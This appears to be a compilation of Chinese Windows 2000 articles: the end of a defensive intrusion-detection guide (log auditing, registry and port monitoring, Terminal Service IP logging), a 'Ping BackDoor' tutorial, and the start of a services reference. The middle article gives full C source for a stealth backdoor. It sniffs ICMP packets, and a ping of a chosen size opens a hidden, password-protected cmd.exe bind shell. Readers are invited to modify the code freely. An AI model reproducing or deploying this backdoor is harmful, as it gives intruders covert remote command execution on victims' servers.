    需要提醒的是，使用任何日志分析软件都会占用一定的系统资源，因此，对于IIS日志分析这样低优先级的任务，放在夜里空闲时自动执行会比较合适，如果再写一段脚本把过滤后的可疑文本发送给系统管理员，那就更加完美了。同时，如果敏感字符串表较大，过滤策略复杂，我建议还是用C写一个专用程序会比较合算。
2、 基于安全日志的检测

    通过基于IIS日志的入侵监测，我们能提前知道窥伺者的行踪（如果你处理失当，窥伺者随时会变成入侵者），但是IIS日志不是万能的，它在某种情况下甚至不能记录来自80端口的入侵，根据我对IIS日志系统的分析，IIS只有在一个请求完成后才会写入日志，换言之，如果一个请求中途失败，日志文件中是不会有它的踪影的（这里的中途失败并不是指发生HTTP400错误这样的情况，而是从TCP层上没有完成HTTP请求，例如在POST大量数据时异常中断），对于入侵者来说，就有可能绕过日志系统完成大量的活动。

    而且，对于非80 Only的主机，入侵者也可以从其它的服务进入服务器，因此，建立一套完整的安全监测系统是非常必要的。

    Win2000自带了相当强大的安全日志系统，从用户登录到特权的使用都有非常详细的记录，可惜的是，默认安装下安全审核是关闭的，以至于一些主机被黑后根本没法追踪入侵者。所以，我们要做的第一步是在管理工具-本地安全策略-本地策略-审核策略中打开必要的审核，一般来说，登录事件与账户管理是我们最关心的事件，同时打开成功和失败审核非常必要，其他的审核也要打开失败审核，这样可以使得入侵者步步维艰，一不小心就会露出马脚。仅仅打开安全审核并没有完全解决问题，如果没有很好的配置安全日志的大小及覆盖方式，一个老练的入侵者就能够通过洪水般的伪造入侵请求覆盖掉他真正的行踪。通常情况下，将安全日志的大小指定为50MB并且只允许覆盖7天前的日志可以避免上述情况的出现。

    设置了安全日志却不去检查跟没有设置安全日志几乎一样糟糕（唯一的优点是被黑了以后可以追查入侵者），所以，制定一个安全日志的检查机制也是非常重要的，作为安全日志，推荐的检查时间是每天上午，这是因为，入侵者喜欢夜间行动（速度快呀，要不你入侵到一半的时候连不上了，那可是哭都哭不出来）上午上班第一件事正好看看日志有没有异常，然后就可以放心去做其他的事了。如果你喜欢，也可以编写脚本每天把安全日志作为邮件发送给你（别太相信这个了，要是哪个高手上去改了你的脚本，每天发送"平安无事"……）

    除了安全日志，系统日志和应用程序日志也是非常好的辅助监测工具，一般来说，入侵者除了在安全日志中留下痕迹（如果他拿到了Admin权限，那么他一定会去清除痕迹的），在系统和应用程序日志中也会留下蛛丝马迹，作为系统管理员，要有不放过任何异常的态度，这样入侵者就很难隐藏他们的行踪。

3、 文件访问日志与关键文件保护

    除了系统默认的安全审核外，对于关键的文件，我们还要加设文件访问日志，记录对他们的访问。

    文件访问有很多的选项：访问、修改、执行、新建、属性更改......一般来说，关注访问和修改就能起到很大的监视作用。

    例如，如果我们监视了系统目录的修改、创建，甚至部分重要文件的访问（例如cmd.exe,net.exe，system32目录），那么，入侵者就很难安放后门而不引起我们的注意，要注意的是，监视的关键文件和项目不能太多，否则不仅增加系统负担，还会扰乱日常的日志监测工作
（哪个系统管理员有耐心每天看四、五千条垃圾日志？）

    关键文件不仅仅指的是系统文件，还包括有可能对系统管理员/其他用户构成危害的任何文件，例如系统管理员的配置、桌面文件等等，这些都是有可能用来窃取系统管理员资料/密码的。

4、 进程监控

    进程监控技术是追踪木马后门的另一个有力武器，90%以上的木马和后门是以进程的形式存在的（也有以其他形式存在的木马，参见《揭开木马的神秘面纱三》），作为系统管理员，了解服务器上运行的每个进程是职责之一（否则不要说安全，连系统优化都没有办法做），做一份每台服务器运行进程的列表非常必要，能帮助管理员一眼就发现入侵进程，异常的用户进程或者异常的资源占用都有可能是非法进程。除了进程外，DLL也是危险的东西，例如把原本是exe类型的木马改写为dll后，使用rundll32运行就比较具有迷惑性。
5、 注册表校验

    一般来说，木马或者后门都会利用注册表来再次运行自己，所以，校验注册表来发现入侵也是常用的手法之一。一般来说，如果一个入侵者只懂得使用流行的木马，那么由于普通木马只能写入特定的几个键值（比如Run、Runonce等等），查找起来是相对容易的，但是对于可以自己编写/改写木马的人来说，注册表的任何地方都可以藏身，靠手工查找就没有可能了。（注册表藏身千变万化，例如需要特别提出来的FakeGina技术，这种利用WINNT外嵌登录DLL（Ginadll）来获得用户密码的方法最近比较流行，一旦中招，登录用户的密码就会被记录 无遗，具体的预防方法我这里就不介绍了。）应对的方法是监控注册表的任何改动，这样改写注册表的木马就没有办法遁形了。监控注册表的软件非常多，很多追查木马的软件都带有这样的功能，一个监控软件加上定期对注册表进行备份，万一注册表被非授权修改，系统管理员也能在最短的时间内恢复。

6、端口监控

    虽然说不使用端口的木马已经出现，但是大部分的后门和木马还是使用TCP连接的，监控端口的状况对于由于种种原因不能封锁端口的主机来说就是非常重要的了，我们这里不谈使用NDIS网卡高级编程的IDS系统，对于系统管理员来说，了解自己服务器上开放的端口甚至比对进程的监控更加重要，常常使用netstat查看服务器的端口状况是一个良好的习惯，但是并不能24小时这样做，而且NT的安全日志有一个坏习惯，喜欢记录机器名而不是IP（不知道比尔盖子怎么想的），如果你既没有防火墙又没有入侵检测软件，倒是可以用脚本来进行IP日志记录的，看着这个命令：

netstat -n -p tcp 10>>Netstat.log,这个命令每10秒钟自动查看一次TCP的连接状况，基于这个命令我们做一个Netlog.bat文件:
time /t>>Netstat.log
Netstat -n -p tcp 10>>Netstat.log

    这个脚本将会自动记录时间和TCP连接状态，需要注意的是：如果网站访问量比较大，这样的操作是需要消耗一定的CPU时间的，而且日志文件将越来越大，所以请慎之又慎。（要是做个脚本就完美无缺，谁去买防火墙？:）

    一旦发现异常的端口，可以使用特殊的程序来关联端口、可执行文件和进程(如inzider就有这样的功能，它可以发现服务器监听的端口并找出与该端口关联的文件，inzider可以从http://www.nttoolbox.com下载到)，这样无论是使用TCP还是UDP的木马都无处藏身。

7、终端服务的日志监控

    单独将终端服务（Terminal Service）的日志监控分列出来是有原因的，微软Win2000服务器版中自带的终端服务Terminal Service是一个基于远程桌面协议（RDP）的工具，它的速度非常快，也很稳定，可以成为一个很好的远程管理软件，但是因为这个软件功能强大而且只受到密码的保护，所以也非常的危险，一旦入侵者拥有了管理员密码，就能够象本机一样操作远程服务器（不需要高深的NT命令行技巧，不需要编写特殊的脚本和程序，只要会用鼠标就能进行一切系统管理操作，实在是太方便、也实在是太可怕了）。虽然很多人都在使用终端服务来进行远程管理，但是，并不是人人都知道如何对终端服务进行审核，大多数的终端服务器上并没有打开终端登录的日志，其实打开日志审核是很容易的，在管理工具中打开远程控制服务配置（Terminal Service c onfigration），点击"连接"，右击你想配置的RDP服务（比如 RDP-TCP(Microsoft RDP 5.0)，选中书签"权限"，点击左下角的"高级"，看见上面那个"审核"了么？我们来加入一个Everyone组，这代表所有的用户，然后审核他的"连接"、"断开"、"注销"的成功和"登录"的成功和失败就足够了，审核太多了反而不好，这个审核是记录在安全日志中的，可以从"管理工具"->"日志查看器"中查看。现在什么人什么时候登录我都一清二楚了，可是美中不足的是：这个破烂玩艺居然不记录客户端的IP（只能查看在线用户的IP），而是华而不实的记录什么机器名，倒！要是别人起个PIG的机器名你只好受他的嘲弄了，不知道微软是怎么想的，看来还是不能完全依赖微软呀，我们自己来吧？写个程序，一切搞定，你会C么？不会？VB呢？也不会？Delphi？……什么？你什么编程语言都不会？我倒，毕竟系统管理员不是程序员呀，别急别急，我给你想办法，我们来建立一个bat文件，叫做TSLog.bat，这个文件用来记录登录者的IP，内容如下：

time /t >>TSLog.log
netstat -n -p tcp | find ":3389">>TSLog.log
start Explorer

我来解释一下这个文件的含义：

第一行是记录用户登录的时间，time /t的意思是直接返回系统时间（如果不加/t，系统会等待你输入新的时间） ，然后我们用追加符号">>"把这个时间记入TSLog.log作为日志的时间字段；

第二行是记录用户的IP地址，netstat是用来显示当前网络连接状况的命令，-n表示显示IP和端口而不是域名、协议，-ptcp是只显示tcp协议，然后我们用管道符号"|"把这个命令的结果输出给find命令，从输出结果中查找包含":3389"的行（这就是我们要的客户的IP所在的行，如果你更改了终端服务的端口，这个数值也要作相应的更改），最后我们同样把这个结果重定向到日志文件TSLog.log中去，于是在SLog.log文件中，记录格式如下：

22:40
TCP　　192.168.12.28:3389　　192.168.10.123:4903　　　ESTABLISHED
22:54
TCP　　192.168.12.28:3389　　 192.168.12.29:1039　　　ESTABLISHED

也就是说只要这个TSLog.bat文件一运行，所有连在3389端口上的IP都会被记录，那么如何让这个批处理文件自动运行呢？我们知道，终端服务允许我们为用户自定义起始的程序，在终端服务配置中，我们覆盖用户的登录脚本设置并指定TSLog.bat为用户登录时需要打开的脚本，这样每个用户登录后都必须执行这个脚本，因为默认的脚本（相当于shell环境）是Explorer（资源管理器），所以我在TSLog.bat的最后一行加上了启动Explorer的命令startExplorer，如果不加这一行命令，用户是没有办法进入桌面的！当然，如果你只需要给用户特定的Shell：

例如cmd.exe或者word.exe你也可以把start Explorer替换成任意的shell。这个脚本也可以有其他的写法，作为系统管理员，你完全可以自由发挥你的想象力、自由利用自己的资源，例如写一个脚本把每个登录用户的IP发送到自己的信箱对于重要的服务器也是一个很好的方法。正常情况下一般的用户没有查看终端服务设置的权限，所以他不会知道你对登录进行了IP审核，只要把TSLog.bat文件和TSLog.log文件放在比较隐蔽的目录里就足够了，不过需要注意的是这只是一个简单的终端服务日志策略，并没有太多的安全保障措施和权限机制，如果服务器有更高的安全要求，那还是需要通过编程或购买入侵监测软件来完成的。

8、陷阱技术

    早期的陷阱技术只是一个伪装的端口服务用来监测扫描，随着矛和盾的不断升级，现在的陷阱服务或者陷阱主机已经越来越完善，越来越象真正的服务，不仅能截获半开式扫描，还能伪装服务的回应并记录入侵者的行为，从而帮助判断入侵者的身份。

    我本人对于陷阱技术并不是非常感兴趣，一来从技术人员角度来说，低调行事更符合安全的原则；二来陷阱主机反而成为入侵者跳板的情况并不仅仅出现在小说中，在现实生活中也屡见不鲜，如果架设了陷阱反而被用来入侵，那真是偷鸡不成了。

    记得CoolFire说过一句话，可以用来作为对陷阱技术介绍的一个结束：在不了解情况时，不要随便进入别人的系统，因为你永远不能事先知道系统管理员是真的白痴或者伪装成白痴的天才......

    入侵监测的初步介绍就到这里，在实际运用中，系统管理员对基础知识掌握的情况直接关系到他的安全敏感度，只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子，未雨绸缪，扼杀入侵的行动。


Win2000 下Ping 后门的简单实现

作者: lion (lion@cnhonker.net)
主页: http://www.cnhonker.net
中国红客网络技术联盟

试验环境 Win2K + VC++6.0

1. 初期的想法

    在使用了小榕的Remotenc后，总觉得老是开放着一个端口不是很好，很容易被发现。能不能在Win2000下实现
象Ping BackDoor for Linux/Solaris等类似的功能呢？把这个后门安装成服务，但不开端口，当接收到特定
大小的ping 包以后，就打开一个特定的端口接收连接。OK，我来试试：）

2. 尝试

    记得以前玩lion worm时改写过一个Ping BackDoor for Linux，所以开始时我就想能不能把这个移植到Win2000
下。于是就简单的改了一下，开了个连接，接受ICMP包（ICMP全称是Internet Control Message Protocol－－互联网控
制报文协议　它是IP协议的附属协议，用来传递差错报文以及其他需要注意的消息报文。我们常用的Ping就是用ICMP
来进行通讯的），以为Windows能象linux下一样乖乖的把收到的ICMP包交给自己的 socket，结果ping了老半天没收到
一个bit。
    于是就开始在google上查找资料，最后终于知道了如果要在Win2000下实现类似Ping BackDoor for Linux的后门，
必须以 sniffer 的方式监听ICMP包，而在win2000下写一个简单的sniffer并不需要自己编写驱动。：）中文详细资料
请看绿盟zhangbo的 无需驱动程序的Sniffer－IPMon　一文, WinSock 2 允许程序使用WSAIoctl( )给一个SOCK_RAW类型
的socket设置SIO_RCVALL属性，该socket就可以收到所有经过本机的数据。

3.具体实现方法如下：

    (1) 创建一个SOCK_RAW socket
// 创建一个原始socket, 接受所有接收的包(sniffer)
if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED))
    == INVALID_SOCKET)
{
printf("WSASocket() failed: %d\n", WSAGetLastError());
return -1;
}

    (2) 将该socket与本机的某个网络接口绑定
// 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);　　//
    TCP嗅探选项
dest.sin_family = AF_INET;
dest.sin_port = htons(8000);　　　　　　　　　　　　// 指定任意端口
// socket bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

    (3) 用WSAIoctl( )给一个SOCK_RAW socket设置SIO_RCVALL属性
    // 设置socket为接受所有包
    WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,
                  sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

    (4) 循环读取嗅探到的包，判断包的大小是否为设定要监听的包的大小再把数据交给 sniffer
    解包程序处理
(当然你也可以先判断是否为ICMP包)
// 循环监听包的大小
while(1)
{
// 读数据
sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from,
    &fromlen);
// 如果读数据出错
if (sread == SOCKET_ERROR || sread < 0)
{
if (WSAGetLastError() == WSAETIMEDOUT)
continue;
printf("recvfrom failed: %d\n",WSAGetLastError());
return -1;
}
else
// 如果读到数据的大小 == 监听包的大小 + 28
if ( sread == packsize + 28)
{
// 将接收到的数据交给 sniffer 解包程序处理
decode_sniffer(recvbuf, sread - 28, &from);
}
}

    (5) sniffer 解包程序再判断读取的包是否为 ICMP_ECHO ICMP回显请求报文
    sniffer解包这里的处理很简单，大家可以任意发挥．：）

1.首先定义IP和ICMP首部，以便于解包程序解包
    // 定义IP 首部
    typedef struct iphdr
    {
        unsigned char h_verlen;　　　　　　// 4位首部长度,4位IP版本号
        unsigned char tos;　　　　　　// 8位服务类型TOS
        unsigned short total_len;　　　　// 16位总长度(字节)
        unsigned short ident;　　　　　　// 16位标识
        unsigned short frag_and_flags;　　　　// 3位标志位
        unsigned char ttl;　　　　　　// 8位生存时间 TTL
        unsigned char proto;　　　　　　// 8位协议(TCP, UDP 或其他)
        unsigned short checksum;　　　　// 16位IP首部校验和
        unsigned int sourceIP;　　　　　　// 32位源IP地址
        unsigned int destIP;　　　　　　// 32位目的IP地址
    } IPHeader;　　　　　　　　　　// IP首部长度为20
    // 定义ICMP首部
    typedef struct _ihdr
    {
        unsigned char i_type;　　　　　　// 8位类型
        unsigned char i_code;　　　　　　// 8位代码
        unsigned short i_cksum;　　　　　　// 16位校验和
        unsigned short i_id;　　　　　　// 识别号(一般用进程号作为识别号)
        unsigned short i_seq;　　　　　　// 报文序列号
    } ICMPHeader;　　　　　　　　　　// ICMP首部长度为8

2. 简单sniffer解包程序，如果收到的包为ICMP_ECHO 类型，且大小为监听的包的大小，就开一个bindshell
    // 简单Sniffer 解包程序
    void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
    {
        ICMPHeader *icmphdr;

        // ICMP首部的地址等于buf+IP首部长度:buf+20
        icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));
        // 简单判断如果为icmp 请求包
        if (icmphdr->i_type == ICMP_ECHO)
        {
            // bind shell
            bindshell(NULL);
        }
        else
        printf("\r\n Get Other Packets!");

        return;
    }

    (6) bind shell的实现
    1.在指定端口创建一个server socket接受连接
    // 创建一个socket
    bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    // 服务器地址和端口指定
    addrServer.sin_family = AF_INET;
    addrServer.sin_port = htons(bport);
    addrServer.sin_addr.s_addr = ADDR_ANY;
    // 设置超时60s
    int TimeOut = 60000;
    setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));
    // 监听端口
    bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
    listen(bindServer, 2);
    printf("\r\n Bind Port on %d ok.", bport);
    // 接受client连接
    int iLen = sizeof(addrClient);

    2.如果有连接进来就为连接新建一个socket句柄 getClient
// 接收1次连接
SOCKET getClient = accept(bindServer, (struct sockaddr*)&addrClient,
    &iLen);
if(getClient != INVALID_SOCKET)
{
// 如果有连接进来设置延时为60S
int iTimeOut = 60000;
setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
}
else return -1;

3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令，并把执行的结果返回给socket
    getClient
3.1 首先创建两个匿名管道，一个用于新进程的输入，一个用于新进程的输出
// 建两个匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // pipe1
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // pipe2

3.2 创建一个绑定cmd.exe的进程, 由hReadPipe2读数据,向hWritePipe1写数据
    // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
    char cmdLine[] = "cmd.exe";
    STARTUPINFO siinfo;
    PROCESS_INFORMATION ProcessInformation;
    ZeroMemory(&siinfo,sizeof(siinfo));
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2;　　　　　　　　　　　　// 新进程读取写入pipe2的数据
    siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;　　// 新进程向pipe1写数据
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

3.3 循环读取hReadPipe1和连接是否有数据
        把新进程的输出（hWritePipe1）数据写入新连接中，
        把从socket getClient收到的数据写入进进程的输入管道（Pipe2）
    unsigned long lBytesRead;
    while(1)
    {
        // 检查管道pipe1是否有数据返回
        ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

        if(lBytesRead)
        {
            // 从管道pipe1读数据
            ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
            if(!ret) break;

            // 把从管道pipe1读到的数据写入连接 getClient
            ret = send(getClient,Buff,lBytesRead,0);
            if(ret <= 0) break;
        }
        else
        {
            // 如果连接 getClient 有接收到数据
            lBytesRead = recv(getClient,Buff,1024,0);
            if(lBytesRead <= 0) break;
            // 把从连接 getClient 读到的数据写入Pipe2
            ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
            if(!ret) break;
        }
    }

(7) 程序完工

4. 附简单的 Ping BackDoor for Win2K 源代码
大家可以任意修改：）
ICMP Shell for Win2K 正在编写中,请稍侯.

/* ======================================================================

Ping BackDoor V0.1 For Win2K
Code by Lion. Welcome to Http://www.cnhonker.net

========================================================================= */

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
//#include <ws2tcpip.h>
#include <mstcpip.h>

#define ICMP_ECHO 8　　　　　　　　　　// ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY 0　　　　　　// ICMP回显应答报文的类型值为0
#define SNIFFER_ICMP_SIZE 101　　　　// 监听ICMP包的大小
#define BIND_PORT 8080　　　　　　　　// 默认bind shell 端口
#define MAX_PACKET 10000　　　　　　// 最大ICMP包的大小
#define DEF_PASSWORD "givemeshell!" // 默认密码

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))

// 定义IP 首部
typedef struct iphdr
{
    unsigned char h_verlen;　　　　　　// 4位首部长度,4位IP版本号　　　1
    unsigned char tos;　　　　　　　　// 8位服务类型TOS　　　　　　　　1
    unsigned short total_len;　　　　// 16位总长度(字节)　　　　　　　2
    unsigned short ident;　　　　　　// 16位标识　　　　　　　　　　　2
    unsigned short frag_and_flags;　　// 3位标志位　　　　　　　　　　2
    unsigned char ttl;　　　　　　　　// 8位生存时间 TTL　　　　　　　1
    unsigned char proto;　　　　　　// 8位协议(TCP, UDP 或其他)　　　　1
    unsigned short checksum;　　　　// 16位IP首部校验和　　　　　　　　2
    unsigned int sourceIP;　　　　　　// 32位源IP地址　　　　　　　　　4
    unsigned int destIP;　　　　　　// 32位目的IP地址　　　　　　　　　4
} IPHeader;　　　　　　　　　　　　　　// IP首部长度为:　　　　　　　　20

// 定义ICMP首部
typedef struct _ihdr
{
    unsigned char i_type;　　　　　　// 8位类型　　　　　　　　　　　　　1
    unsigned char i_code;　　　　　　// 8位代码　　　　　　　　　　　　　1
    unsigned short i_cksum;　　　　　　// 16位校验和　　　　　　　　　　2
    unsigned short i_id;　　　　　　// 识别号(一般用进程号作为识别号)　　2
    unsigned short i_seq;　　　　　　// 报文序列号　　　　　　　　　　　2
} ICMPHeader;　　　　　　　　　　　　// ICMP首部长度为:　　　　　　　　　8

int sniffer();　　　　　　　　　　　　　　　　　　　　　　// 监听ICMP 大小
void decode_sniffer(char *, int, struct sockaddr_in *);　// 简单Sniffer 解包程序
DWORD CALLBACK bindshell(LPVOID);　　　　　　　　　　　　// bind shell

DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
HANDLE bindthread;

// ICMPDoor 主函数
int main(int argc, char **argv)
{
    WSADATA wsaData;
    int retval;

    // socket 初始化
    if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)
    {
        printf("WSAStartup failed: %d\n",retval);
        exit(-1);
    }

    // sniffer 开始
    sniffer();

    // socket 结束
    WSACleanup();
    return 0;
}

// sniffer 主函数
int sniffer()
{
    int packsize = SNIFFER_ICMP_SIZE;
    SOCKET socksniffer;
    struct sockaddr_in dest,from;
    struct hostent * hp;
    int sread;
    int fromlen = sizeof(from);
    unsigned char LocalName[256];
    char *recvbuf;

    // 创建一个原始socket, 接受所有接收的包(sniffer)
if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED))
    == INVALID_SOCKET)
{
printf("WSASocket() failed: %d\n", WSAGetLastError());
return -1;
}

    // 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);　　//
    TCP嗅探选项
dest.sin_family = AF_INET;
dest.sin_port = htons(8000);　　　　　　　　　　　　　　　　　　　　// 指定任意端口
// socket bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

    // 设置socket为接受所有包
    WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

    // 分配socket接收缓冲区大小为MAX_PACKET
    recvbuf = (char *)xmalloc(MAX_PACKET);

    // 循环监听包的大小
while(1)
{
// 读数据
sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from,
    &fromlen);

        // 如果读数据出错
        if (sread == SOCKET_ERROR || sread < 0)
        {
            if (WSAGetLastError() == WSAETIMEDOUT)
            {
                continue;
            }
            printf("recvfrom failed: %d\n",WSAGetLastError());
            return -1;
        }
        else
//　　　　if ( sread >= 28)
        // 如果读到数据的大小 == 监听包的大小 + 28
        if ( sread == packsize + 28)
        {
            // 将接收到的数据交给 sniffer 解包程序处理
            decode_sniffer(recvbuf, sread - 28, &from);
        }
    }
    return 1;
}

// 简单Sniffer 解包程序
void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{
    ICMPHeader *icmphdr;

    // ICMP首部的地址等于buf+IP首部长度:buf+20
    icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));

/*
printf("\r\n %d bytes from %s,", bytes, inet_ntoa(from->sin_addr));　　　　//
    取出接收数据
printf(" ICMP_Type: %d", icmphdr->i_type);　　　　　　　　　　// 取出类型
printf(" ICMP_Seq: %d\r\n", icmphdr->i_seq);　　　　　　　　　　// 取出序列号

//取出数据段 buf + 28 + i
for(int i = 0; i < bytes - 1; i++)
{
printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) +
    i));
}
*/

//　　if (icmphdr->i_type == ICMP_ECHO || icmphdr->i_type == ICMP_ECHOREPLY)
// 简单判断如果为icmp 请求包
if (icmphdr->i_type == ICMP_ECHO)
{
// bind shell
bindshell(NULL);

//　　　　DWORD bid;
//　　　　bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);
}
else
printf("\r\n Get Other Packets!");

    return;
}

// bind shell函数
DWORD CALLBACK bindshell(LPVOID)
{
int bport = BIND_PORT;
SOCKET bindServer, getClient;
struct sockaddr_in addrServer, addrClient;
char Buff[4096];
char *messages = "\r\n======================== Ping BackDoor V0.1 ========================\r\n=========
    Code by Lion. Welcome to Http://www.cnhonker.net =========\r\n";
char *getpass = "\r\n Your PassWord:";
char *passok = "\r\n OK! Please Enter:";
char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n";
char *exitok = "\r\n Exit OK!\r\n";
int ret;

    // 创建一个socket
    bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 服务器地址和端口指定
    addrServer.sin_family = AF_INET;
    addrServer.sin_port = htons(bport);
    addrServer.sin_addr.s_addr = ADDR_ANY;

    // 设置超时
    int TimeOut = 60000;
    setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));

    // 设置重复利用端口
    UINT bReUser = 1;
    setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));

    // 监听端口
    bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
    listen(bindServer, 2);

    printf("\r\n Bind Port on %d ok.", bport);

    // 接受client连接
    int iLen = sizeof(addrClient);

    // 接收1次连接
    getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);

    if(getClient != INVALID_SOCKET)
    {
        // 如果有连接进来设置延时为60S
        int iTimeOut = 60000;
        setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
    }
    else
        return -1;

    // 写欢迎信息
    send(getClient, messages, strlen(messages), 0);

    // 写密码验证信息
    send(getClient, getpass, strlen(getpass), 0);

    // 接收数据
    recv(getClient,Buff,1024,0);

    // 验证密码
    if(!(strstr(Buff, DEF_PASSWORD)))
    {
        // 如果密码错误,写密码错误信息
        send(getClient, nothispass, strlen(nothispass), 0);
        printf("\r\n PassWord Not Right!");
        closesocket(getClient);
        closesocket(bindServer);
        return -1;
    }

    // 写通过验证信息
    send(getClient, passok, strlen(passok), 0);

    // 建两个匿名管道
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    unsigned long lBytesRead;

    SECURITY_ATTRIBUTES sa;
    sa.nLength=12;
    sa.lpSecurityDescriptor=0;
    sa.bInheritHandle=TRUE;

    CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
    CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

    STARTUPINFO siinfo;
    char cmdLine[] = "cmd.exe";
    PROCESS_INFORMATION ProcessInformation;

    ZeroMemory(&siinfo,sizeof(siinfo));
    siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    siinfo.wShowWindow = SW_HIDE;
    siinfo.hStdInput = hReadPipe2;　　　　　　　　　　　　// 读取写入pipe2的数据
    siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;　　// 向这里写数据

    printf("\r\n Pipe Create OK!");

    // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
    int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

    while(1)
    {
        // 检查管道是否有数据返回
        ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

        if(lBytesRead)
{
// 从管道hReadPipe1读数据
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;

// 把从管道hReadPipe1读到的数据写入连接 getClient
ret = send(getClient,Buff,lBytesRead,0);
if(ret <= 0) break;
}
else
{
// 如果连接 getClient 有接收到数据
lBytesRead = recv(getClient,Buff,1024,0);
if(lBytesRead <= 0) break;

// 把从连接 getClient 读到的数据写入hWritePipe2
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x'
    && Buff[2]=='i' && Buff[3]=='t')
{
// 写退出信息
send(getClient, exitok, strlen(exitok), 0);
closesocket(getClient);
closesocket(bindServer);
return 1;
}

            if(!ret) break;
        }
    }

    closesocket(getClient);
    closesocket(bindServer);
    return 1;
}

发布者: lion


Win2000服务项注释

www.sandflee.net 2002-3-13 灰色轨迹

Alerter（警报器服务）：局域网中当系统发生问题时向系统管理员发出警报，对普通用户可设置为“已禁用”或“手动”。

Application Management（应用程序管理）：Win2K引入了一种基于msi文件格式（应用程序安装信息程序包文件）的全新、有效软件管理方案——应用程序管理组件服务，它不仅管理软件的安装、删除，而且可以使用此项服务修改、修复现有应用程序，监视文件复原并通过复原排除基本故障等。虽然如此，当设置为“已禁用”时似乎并不影响单机上软件的安装与卸载，而且基于msi格式安装、修复与删除的行为亦正常。

ClipBook（剪贴簿）：通过Network DDE和Network DDE DSDM提供的网络动态数据交换服务，查阅远程机器中的剪贴簿。对普通用户可设置为“已禁用”。

Computer Browser（计算机浏览器）：维护网上邻居中计算机的最新列表，并将这个列表通知给请求的程序。普通用户设置为：“已禁用”，局域网用户设为：“自动”。

